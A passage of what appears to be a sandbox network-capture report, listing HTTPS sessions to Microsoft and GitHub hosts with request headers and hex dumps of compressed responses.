1f ca 01 6f e7 49 ef 01 0f 74 b0 dc cf 55 f8 eb b3 c6 06 5e f1 1a 16 84 61 cb 41 e3 cf 75 42 a4 80 Data Ascii: 'I=\'2AW-23LUwJTU3/C[.Ajk]Zrk>RbyT4U\|i=3$uyvYq.@trR:S,DjBM3Q"~}O cwu_s+f}fl'ukbFluwEg<oItU^aAuB
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: 1e 1c 96 72 c7 69 6e 20 bf 55 41 4e 16 65 65 21 31 1d e4 08 1a 53 d6 41 76 12 8a 96 b6 14 d5 60 9c 2e 5f 93 a3 7f 4e 92 be 76 01 41 e3 a7 25 79 24 f8 2b af 52 62 53 13 9a 0d c2 a7 e6 c2 0a 3b 2b c1 1a f1 3b 63 c2 bf 83 d9 69 21 4f 18 1c 16 cf 3b 95 d3 9d 9b a4 63 3c b6 9c 03 a8 25 98 29 bf 09 32 bd b3 c8 9d 56 d9 b7 7a 3f 13 60 70 08 ce 31 aa 84 5b 99 ac 05 92 93 76 ad 69 96 a8 70 28 89 d5 b2 e9 41 27 fb a4 9d 27 a1 42 79 f8 55 60 84 8a f9 64 1d 6d 5e cf d2 35 a5 7d eb 5d 13 6e 53 0e 36 e7 b5 84 f5 58 b0 d7 4e 6b 5a e2 fa ad 68 1f b5 7d 86 36 7d ed 8f 2f 59 6d ab fa 2f 96 d0 10 ac 54 c9 f7 b1 f9 b7 ac 9d 84 6c 77 5f 85 4f a0 d9 99 02 06 e1 c6 7c 91 be aa 6c 55 83 fd e4 f9 10 95 3f 4f ef 5d 80 09 90 88 93 99 a7 13 3f a6 be c3 12 31 ee de 41 16 92 e8 a6 84 Data Ascii: rin UANee!1SAv`._NvA%y$+RbS;+;ci!O;c<%)2Vz?`p1[vip(A''ByU`dm^5}]nS6XNkZh}6}/Ym/Tlw_O\|lU?O]?1A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49761	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-29 22:19:22 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=127004 Date: Thu, 29 Aug 2024 22:19:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-29 22:19:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49762	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:22 UTC	362	OUT	GET /assets/img/favicon32.svg HTTP/1.1 Host: l9sa.github.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:23 UTC	739	IN	HTTP/1.1 200 OK Connection: close Content-Length: 969 Server: GitHub.com Content-Type: image/svg+xml permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-3c9" expires: Thu, 29 Aug 2024 22:29:21 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F2E4:16C9:2074A7F:249DB03:66D0F3E9 Accept-Ranges: bytes Date: Thu, 29 Aug 2024 22:19:22 GMT Via: 1.1 varnish Age: 2 X-Served-By: cache-ewr-kewr1740077-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1724969963.693378,VS0,VE0 Vary: Accept-Encoding X-Fastly-Request-ID: f098a64e9e83562dfa20f43b9a68e736b33e03d1
2024-08-29 22:19:23 UTC	969	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 33 32 70 74 22 20 68 65 69 67 68 74 3d 22 33 32 70 74 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 20 33 32 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 3c 64 65 66 73 3e 0a 3c 69 6d 61 67 65 20 69 64 3d 22 69 6d 61 67 65 35 22 20 77 69 64 74 68 3d 22 31 32 38 22 20 68 65 69 67 68 74 3d 22 31 32 38 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32pt" height="32pt" viewBox="0 0 32 32" version="1.1"><defs><image id="image5" width="128" height="128" xlink:href="data:ima

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49775	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:30 UTC	603	OUT	GET /shared/5/js/signup-fabric_en_hjnWUmfm-pOUxYXWMUv1Yw2.js HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:31 UTC	813	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:30 GMT Content-Type: application/x-javascript Content-Length: 231091 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 20 Aug 2024 23:08:41 GMT ETag: 0x8DCC16D08882164 x-ms-request-id: 49558b19-401e-0034-3748-f9cf33000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221930Z-16579567576vpzq62mgx0my8kw00000002p000000000e3gb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:31 UTC	15571	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec bd 69 77 db 38 d2 28 fc fd fd 15 b6 6e 8e 87 1c c3 8a 64 67 a5 c2 d6 4d 1c bb 93 ee 6c 1d 27 9d 4e bb 7d 7d 68 09 92 d8 91 48 85 a4 ec 38 b6 fe fb ad 05 2b 45 39 e9 99 67 9e 67 ee 7b 26 e7 c4 02 41 10 4b a1 00 54 15 6a b9 fd f7 cd 8d c3 bc d8 98 a6 03 99 95 72 23 cd 46 79 31 4b aa 34 cf 36 e6 53 99 40 56 29 e1 7f 3a ce 16 f3 9d 51 72 56 a4 83 53 99 b5 ff 2c db 2f 9e ef 1f bc 3a 3a 68 57 5f aa 8d bf df fe ff 36 47 8b 6c 80 df 05 e1 d5 79 52 6c 48 51 89 4c 14 22 17 69 7c f5 f0 6e 77 ef 6e 64 4a d0 bb f0 aa b5 c0 ea 2b a8 b2 6a f5 f0 9b 22 ce 82 bd 5d 28 1c 8a 3c be 1a 4c d2 e9 70 3f cf 2a f9 a5 7a 77 39 97 65 b4 d9 11 03 fb 5c 7b a4 d7 43 39 4a 16 d3 ea 4d 91 cf f9 39 2d e7 d3 e4 f2 55 32 a3 e2 63 59 3d ad 95 a0 ac 22 3d 97 Data Ascii: iw8(ndgMl'N}}hH8+E9gg{&AKTjr#Fy1K46S@V):QrVS,/::hW_6GlyRlHQL"i\|nwndJ+j"](<Lp?*zw9e\{C9JM9-U2cY="=
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: ed c2 35 95 d0 b1 da e4 23 ba 57 fa c1 68 e4 5e e1 77 11 50 aa 7c ce 55 3b 72 d9 93 71 b6 94 91 52 0c e1 36 a0 7e a8 ec 88 15 f8 d0 27 81 97 61 a2 3b 61 be 55 66 82 47 65 1d 4a 3d 2f dc f5 34 c9 5c cb a3 cd 60 13 63 5b d3 15 84 e4 c3 8b 72 f6 36 5d ec 21 25 63 b6 16 a9 2c 4a 71 4d 4e b3 61 d4 52 24 65 49 66 40 7d 43 62 96 a8 cb 87 46 bb c8 ac 43 79 8d 84 6f 14 e3 be b5 b5 b9 19 74 ef 6d ad 2d 80 97 90 2e 8f 77 96 05 f6 90 94 2a 1a 81 a8 62 40 46 40 6c 38 34 59 19 0e 5d 00 b5 71 8b 7a 4e 71 e6 15 0e 01 64 11 c1 94 0f 97 d5 ad 43 b9 5b fe c0 21 0e a6 f9 80 ed 12 d0 8f 9e 42 bb 02 f5 84 81 ad 60 cd 20 66 ad a9 f1 40 c6 b5 ef 43 13 23 c1 10 c6 8e c2 fa a5 ab 33 8d 58 aa fd 95 b8 e9 5a d4 55 5d 0b ba 2d 31 2e 4d e8 89 dc 65 b1 52 39 bb 15 28 65 52 0c 26 5e 56 Data Ascii: 5#Wh^wP\|U;rqR6~'a;aUfGeJ=/4\`c[r6]!%c,JqMNaR$eIf@}CbFCyotm-.w*b@F@l84Y]qzNqdC[!B` f@C#3XZU]-1.MeR9(eR&^V
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: de 42 bc ab d2 e8 e2 52 a9 e5 42 17 03 b9 4c 28 dd c6 f3 db 37 1a e7 36 0e e6 18 4f e4 2a 17 01 15 d4 e3 da bb 27 57 89 53 d7 ce 39 25 a9 b3 35 f3 d0 d3 45 e6 63 f4 d8 87 75 6d 29 72 e0 75 a5 71 34 f7 68 16 6e 97 bd de c6 fc 4e da c7 3b 80 5e 27 a4 05 7a 56 33 54 7a 01 93 08 03 90 a3 e6 35 ed 80 41 cc 61 5c b4 16 40 02 0c da ab 41 a2 14 be 0c d9 a5 4e 5b 8a 3f db 28 1b a8 4d b7 8e 49 66 c0 cb bb 42 3e 7f 05 1c 06 7b 3b 96 7f 23 f8 cf 78 b2 27 b9 1b d9 cc 74 56 48 b3 f6 e4 b3 76 b3 30 84 8f 9c 31 2e a9 c6 a0 65 10 bb 4e 65 28 3b fb 89 70 c9 28 23 af 0f 95 63 1c b5 d4 85 31 aa eb 1b 20 92 75 99 03 03 42 5c 0f 50 75 ce 38 87 65 00 53 e2 0a cb 79 e3 e4 c7 61 26 a9 c4 3c 84 56 3e d9 dc 8e 2c c0 f8 6c 3b f3 ba 53 d9 cc aa c0 89 df 57 59 38 f9 b3 40 bd f6 27 5c Data Ascii: BRBL(76O*'WS9%5Ecum)ruq4hnN;^'zV3Tz5Aa\@AN[?(MIfB>{;#x'tVHv01.eNe(;p(#c1 uB\Pu8eSya&<V>,l;SWY8@'\
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: 86 38 9d 2c 93 b7 34 01 5a 24 99 9e 1e 3a 83 98 db 86 e3 e1 be 26 fd 7e ed 02 ef a3 44 33 4c e6 e3 e6 1e a6 bb 19 79 ed 4d a7 f6 1b d6 5d ed 15 33 f9 e6 6f e9 8c a9 eb 75 5b da 84 75 58 a3 3c 4b e4 23 8b 0e 27 e5 1c d3 18 c0 eb e8 59 2b 47 d0 fb 1b 03 c6 d8 14 96 c5 7c f1 5b 17 63 5f b9 f3 05 ef bc 16 a2 fd 9d 2f 58 e4 69 ef a2 3e 92 95 bb 51 fd be 19 7c 65 0f 53 79 6d a9 42 e8 48 72 7a 74 dd 93 be 47 4a cc a3 df 21 96 14 d4 5f c5 fa e3 20 02 98 ee 88 5e 19 cf 2e 74 a8 cf 2c f8 8c 6e 34 b7 95 28 cb 56 42 87 a2 11 d9 38 58 85 ae 98 2f b3 3e 83 e2 81 f4 cc 65 5d 1c 26 65 15 ea 87 b7 dc 77 43 18 d6 9c a9 89 3f 71 ae 48 66 86 43 ef 46 96 08 2e 5b 04 1a f1 c4 1a d5 a6 2c 69 d9 b3 d3 e2 a5 ee 90 0f 67 64 09 e4 ca d8 dc 48 14 ca ed 40 08 3d a7 3c 71 59 7d ee 20 Data Ascii: 8,4Z$:&~D3LyM]3ou[uX<K#'Y+G\|[c_/Xi>Q\|eSymBHrztGJ!_ ^.t,n4(VB8X/>e]&ewC?qHfCF.[,igdH@=<qY}
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: 8e db 5b 59 19 a3 cf ef 47 36 67 de 44 61 44 c9 8c 84 33 8c c1 50 fe 0e b7 46 37 3f 85 9b cb 4f 9e 6c 75 90 18 d3 25 76 3b 9e 87 ac 06 24 e8 bc ca b8 5e 50 7d 48 01 cb ab 44 4e 63 00 06 da 1d ca 8e 0f c6 af b1 1f 4d f8 e0 45 ae 0e 08 e0 32 15 60 80 4c 84 d8 d6 ef 29 b8 84 31 3b d0 40 4b 70 61 65 ef 7a 75 f6 a0 3a d9 53 98 a4 e3 52 dc 39 54 38 85 a3 8c ce c3 0d e6 86 ce b2 ad 62 72 40 4b 34 52 7b 4c 0c 8d 5e b7 8c ee bd 81 fb 55 40 62 2f 57 57 a8 d6 9f 89 ba 75 63 79 a3 a0 20 07 72 78 df 25 17 cf eb e9 a6 ed 9f 08 e0 d3 5d aa e9 99 cf bb 05 4a 06 ef 91 7e 31 18 76 ed 04 24 23 80 be 1a 59 d6 53 dc 44 de 3f 98 73 59 a7 d7 a6 2d 02 58 c2 c4 e0 3a 8e 7d 06 6b a3 9e 7b a3 c0 37 ee 9f 16 b2 33 39 3b a5 c5 1c e1 c7 55 6a 95 ee c0 5f c4 69 52 b3 db d7 a6 69 e2 b2 Data Ascii: [YG6gDaD3PF7?Olu%v;$^P}HDNcME2`L)1;@Kpaezu:SR9T8br@K4R{L^U@b/WWucy rx%]J~1v$#YSD?sY-X:}k{739;Uj_iRi
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: 94 a6 5c 97 d7 f9 dc f1 3d c0 96 27 df 6d 47 67 bd ee 18 4f ce 73 be 55 b4 fa 56 9a b0 8b c2 3a d0 94 b5 1d 98 a9 38 64 80 b8 ef 08 60 6f 04 0c 6b 34 fd 68 6b fa 1d fe 29 01 66 fe 9e 7f 3c 05 c9 5d df 57 ae 94 71 4b c8 29 43 14 be 1b db 2f dc 66 74 f4 59 39 5e 9e 90 09 d7 21 0a 55 85 25 dd 62 43 be cd 7a cc ee 02 d2 09 a2 ea 3e e6 1d d2 c9 3c 9f 3d 99 1c 66 47 93 e5 54 12 c4 98 de 52 e8 34 db 95 19 98 e1 0b b5 7d 20 49 5c a7 78 c6 94 09 45 db 21 cd da 0e eb 11 6c cc 5c 95 4d 35 3e 67 2c 66 38 7b b4 07 83 22 20 71 86 84 51 8e f2 83 f8 72 47 fe f2 3e 57 03 af 14 f7 23 99 34 c7 dc 33 18 93 05 26 2c dc b7 73 16 21 83 4d 1e bb 1a b9 86 bb eb 1f 72 f6 80 51 a6 5f 33 c4 f1 b4 5e e0 02 68 69 0f 56 1b ab 7c 40 f5 b5 b2 ec 34 19 d4 de 52 ea 1d 2c d8 57 86 83 fd 05 Data Ascii: \='mGgOsUV:8d`ok4hk)f<]WqK)C/ftY9^!U%bCz><=fGTR4} I\xE!l\M5>g,f8{" qQrG>W#43&,s!MrQ_3^hiV\|@4R,W
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: b3 f5 73 1d bc 55 26 b2 6f d1 f1 78 2d 7f d3 b9 0f de c8 ce 66 20 fc 31 a5 b7 f6 20 c0 6a 83 49 18 ad 06 b3 2c a1 0f 17 b3 e2 8c 95 5d 6c d3 ca 7b d0 c7 8a 79 af 14 92 39 73 c0 4c 14 65 eb e2 a1 5b e7 2e a2 39 50 99 63 7a b8 6e a8 29 ea 4b 28 48 8d e3 f9 e3 5c 3c dd 2c 81 95 37 d1 a5 7d 63 f8 b7 4c 6e e5 9a 9e 3f 04 95 a9 f1 98 98 cf 6e 6d 1b 40 19 7c e6 5b 5c 0d 14 2b 50 bd bf 57 9a ea 37 f9 37 ae 5f 1d ac f6 50 9a c1 7c 70 69 ba b6 86 59 dd 3b 18 64 57 3d fd 8d b8 e7 b9 05 71 2c ff 0b 51 20 73 f0 df bf 6f 0e fe fa db 70 f0 df 77 e2 e0 bf 5d 32 07 ff fd 8a 38 f8 6f 57 c0 c1 ff e0 db 43 1c c9 af 19 61 cb c3 9b 36 8f 30 e9 70 ce 65 a6 39 71 ee fe 65 87 ee fc 68 1d 16 19 ff 69 3e 9e d9 c9 f0 53 97 b6 ab 17 8e d6 c8 84 eb 59 ad a7 e2 0a 25 b3 d4 9b c8 ce 5d Data Ascii: sU&ox-f 1 jI,]l{y9sLe[.9Pczn)K(H\<,7}cLn?nm@\|[\+PW77_P\|piY;dW=q,Q sopw]28oWCa60pe9qehi>SY%]
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: 47 53 7e e2 2f b3 d0 20 2e b1 88 e0 40 d4 68 20 c5 9b d8 23 be 18 04 c7 8b 83 82 7d 38 d8 81 c1 30 89 3c 41 72 96 f6 f1 9c d0 4f 51 b7 d0 ca 16 65 49 45 2b 10 28 98 02 a1 c2 78 89 91 84 8c 80 2e 56 9c f6 2d d4 9d d2 87 2f a8 fc 15 05 61 19 98 2c 5b 19 b3 50 76 1d 4d b8 91 25 b5 95 a5 68 5c d3 ae e0 86 fb fe fe 4e 5c 5c 37 ae ae 27 ca 45 29 d1 1d 9b 9f d7 8b d3 d4 45 26 59 9d 12 a1 29 83 fb 47 6a e7 f4 0b 81 fd 55 36 27 76 81 0a 84 13 f8 0b d4 49 23 7a 34 30 67 5b 94 a7 a1 3d ba 68 e6 95 b2 10 c8 0a 87 c1 08 ba a1 da 10 85 5d 80 d9 ad c1 1c e6 18 86 f0 d7 98 a8 ef f0 84 11 69 af c2 36 40 33 66 6c 7c 44 1b 1f 61 e3 a3 6b 45 db c0 b9 68 16 d8 db 94 cc db 81 c6 bc 01 6f c2 1b 14 93 0d 78 b6 36 00 96 12 e7 17 01 fa 58 38 e9 00 7a fd 8a 86 f8 c3 ab 18 35 fd e2 Data Ascii: GS~/ .@h #}80<ArOQeIE+(x.V-/a,[PvM%h\N\\7'E)E&Y)GjU6'vI#z40g[=h]i6@3fl\|DakEhox6X8z5
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: 1a ae 62 48 e3 21 2c 9e c5 84 c1 ab 63 02 5c 4e ab de 9b 37 d9 d0 48 31 6a e1 5d 11 bb 90 5b 21 3e 9a bd 8e 6f 01 fb d0 b3 80 31 dd e3 da e5 05 e2 e5 de 6f 92 d4 bb 0f 50 0e 5f ba 49 e0 1d b9 b7 c1 08 f5 8c 60 b0 87 3e 86 5b 90 cd d9 68 ef 39 70 28 64 f9 18 46 1d b6 a6 6e 36 a6 8a 33 f8 48 7d 37 19 8c 61 bc 92 57 a9 7f 81 0a c6 68 ed 3c 75 e0 37 0c 30 05 02 e4 b5 f5 36 60 e9 15 a0 22 57 a0 f7 97 70 81 ad 07 d9 16 50 28 bc 25 7b c6 b0 23 1b a5 f7 56 aa 0d 03 70 19 10 31 a6 a5 28 ad 04 61 30 b1 c8 01 fc 94 bb 80 aa f2 7c 17 42 27 32 ad f9 80 0a 8b 2d 4d 9d 3b f4 98 3f 73 ba f8 67 5a 5e 94 fc f9 ad c6 17 57 b0 be ba f0 83 6e 8c c9 d5 e1 96 85 5e 02 30 04 67 96 c5 11 70 7a 8d 46 fd 3a f5 c3 a1 50 cd ae 42 bf ad 2d 7a 27 cb dc 1f fd 7b 54 31 71 c3 4c fc 1a 64 Data Ascii: bH!,c\N7H1j][!>o1oP_I`>[h9p(dFn63H}7aWh<u706`"WpP(%{#Vp1(a0\|B'2-M;?sgZ^Wn^0gpzF:PB-z'{T1qLd
2024-08-29 22:19:31 UTC	16384	IN	Data Raw: 0e 33 0c 72 12 a4 78 77 4b 5b 20 9a f4 e9 3a 6c be ba f8 88 e1 7b a7 d1 09 3f 14 30 fb 13 f4 7f a4 1d 8e 33 51 42 0d 0d cf 29 8e 0d 96 59 82 19 b9 cf 13 7c ad a5 de 2b b5 e6 30 b6 bb 29 29 90 a8 f9 4b 58 24 4f d7 28 8e 47 a1 bf 7c 28 df 53 fe fb 0d a4 54 67 a3 61 40 4b b3 fe 8a 61 04 d9 cb 59 ff 3d 87 51 ac b3 c9 30 10 dc 42 7e 4e c2 e4 18 ec 14 ae 7b 0d 8f 17 ec 35 50 45 e2 0c 6a c0 ae ce e8 0b af cd a4 0f a4 35 9d bb bc 3e dd 9f 80 0f f1 5e 55 e1 94 ef 91 3c 8b 82 c0 ae d0 6b f9 61 35 50 cf 44 75 11 4c 96 e7 b3 00 da 2f 73 2a 99 d5 6e fd 24 18 be 0f 28 a0 c6 cf 81 a9 18 24 ee 30 bb f0 27 71 86 12 40 f8 ce 68 ab 00 ac 77 85 ef 57 e8 ca bd f1 a9 6d d7 43 a5 34 7c 79 06 aa 09 2a 13 d8 46 ef c7 7c 42 1c 05 26 81 1f 79 a9 8e 15 2b 03 d0 91 2b a7 e0 61 48 91 Data Ascii: 3rxwK[ :l{?03QB)Y\|+0))KX$O(G\|(STga@KaY=Q0B~N{5PEj5>^U<ka5PDuL/sn$($0'q@hwWmC4\|yF\|B&y++aH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49777	13.107.246.73	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:32 UTC	398	OUT	GET /shared/5/js/signup-fabric_en_hjnWUmfm-pOUxYXWMUv1Yw2.js HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:32 UTC	792	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:32 GMT Content-Type: application/x-javascript Content-Length: 231091 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 20 Aug 2024 23:08:41 GMT ETag: 0x8DCC16D08882164 x-ms-request-id: 49558b19-401e-0034-3748-f9cf33000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221932Z-16579567576rt7gkm43y59pk3800000002fg000000000rq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:32 UTC	15592	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec bd 69 77 db 38 d2 28 fc fd fd 15 b6 6e 8e 87 1c c3 8a 64 67 a5 c2 d6 4d 1c bb 93 ee 6c 1d 27 9d 4e bb 7d 7d 68 09 92 d8 91 48 85 a4 ec 38 b6 fe fb ad 05 2b 45 39 e9 99 67 9e 67 ee 7b 26 e7 c4 02 41 10 4b a1 00 54 15 6a b9 fd f7 cd 8d c3 bc d8 98 a6 03 99 95 72 23 cd 46 79 31 4b aa 34 cf 36 e6 53 99 40 56 29 e1 7f 3a ce 16 f3 9d 51 72 56 a4 83 53 99 b5 ff 2c db 2f 9e ef 1f bc 3a 3a 68 57 5f aa 8d bf df fe ff 36 47 8b 6c 80 df 05 e1 d5 79 52 6c 48 51 89 4c 14 22 17 69 7c f5 f0 6e 77 ef 6e 64 4a d0 bb f0 aa b5 c0 ea 2b a8 b2 6a f5 f0 9b 22 ce 82 bd 5d 28 1c 8a 3c be 1a 4c d2 e9 70 3f cf 2a f9 a5 7a 77 39 97 65 b4 d9 11 03 fb 5c 7b a4 d7 43 39 4a 16 d3 ea 4d 91 cf f9 39 2d e7 d3 e4 f2 55 32 a3 e2 63 59 3d ad 95 a0 ac 22 3d 97 Data Ascii: iw8(ndgMl'N}}hH8+E9gg{&AKTjr#Fy1K46S@V):QrVS,/::hW_6GlyRlHQL"i\|nwndJ+j"](<Lp?*zw9e\{C9JM9-U2cY="=
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: 7c ce 55 3b 72 d9 93 71 b6 94 91 52 0c e1 36 a0 7e a8 ec 88 15 f8 d0 27 81 97 61 a2 3b 61 be 55 66 82 47 65 1d 4a 3d 2f dc f5 34 c9 5c cb a3 cd 60 13 63 5b d3 15 84 e4 c3 8b 72 f6 36 5d ec 21 25 63 b6 16 a9 2c 4a 71 4d 4e b3 61 d4 52 24 65 49 66 40 7d 43 62 96 a8 cb 87 46 bb c8 ac 43 79 8d 84 6f 14 e3 be b5 b5 b9 19 74 ef 6d ad 2d 80 97 90 2e 8f 77 96 05 f6 90 94 2a 1a 81 a8 62 40 46 40 6c 38 34 59 19 0e 5d 00 b5 71 8b 7a 4e 71 e6 15 0e 01 64 11 c1 94 0f 97 d5 ad 43 b9 5b fe c0 21 0e a6 f9 80 ed 12 d0 8f 9e 42 bb 02 f5 84 81 ad 60 cd 20 66 ad a9 f1 40 c6 b5 ef 43 13 23 c1 10 c6 8e c2 fa a5 ab 33 8d 58 aa fd 95 b8 e9 5a d4 55 5d 0b ba 2d 31 2e 4d e8 89 dc 65 b1 52 39 bb 15 28 65 52 0c 26 5e 56 25 a7 de f3 a2 f0 9f e7 49 59 a2 e7 4a 9b 19 d2 57 36 9e 29 12 Data Ascii: \|U;rqR6~'a;aUfGeJ=/4\`c[r6]!%c,JqMNaR$eIf@}CbFCyotm-.w*b@F@l84Y]qzNqdC[!B` f@C#3XZU]-1.MeR9(eR&^V%IYJW6)
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: 1a e7 36 0e e6 18 4f e4 2a 17 01 15 d4 e3 da bb 27 57 89 53 d7 ce 39 25 a9 b3 35 f3 d0 d3 45 e6 63 f4 d8 87 75 6d 29 72 e0 75 a5 71 34 f7 68 16 6e 97 bd de c6 fc 4e da c7 3b 80 5e 27 a4 05 7a 56 33 54 7a 01 93 08 03 90 a3 e6 35 ed 80 41 cc 61 5c b4 16 40 02 0c da ab 41 a2 14 be 0c d9 a5 4e 5b 8a 3f db 28 1b a8 4d b7 8e 49 66 c0 cb bb 42 3e 7f 05 1c 06 7b 3b 96 7f 23 f8 cf 78 b2 27 b9 1b d9 cc 74 56 48 b3 f6 e4 b3 76 b3 30 84 8f 9c 31 2e a9 c6 a0 65 10 bb 4e 65 28 3b fb 89 70 c9 28 23 af 0f 95 63 1c b5 d4 85 31 aa eb 1b 20 92 75 99 03 03 42 5c 0f 50 75 ce 38 87 65 00 53 e2 0a cb 79 e3 e4 c7 61 26 a9 c4 3c 84 56 3e d9 dc 8e 2c c0 f8 6c 3b f3 ba 53 d9 cc aa c0 89 df 57 59 38 f9 b3 40 bd f6 27 5c 13 91 ce 90 97 73 d3 a4 70 75 fd 6d 6c 9f 10 cf f9 43 f9 84 6c Data Ascii: 6O*'WS9%5Ecum)ruq4hnN;^'zV3Tz5Aa\@AN[?(MIfB>{;#x'tVHv01.eNe(;p(#c1 uB\Pu8eSya&<V>,l;SWY8@'\spumlCl
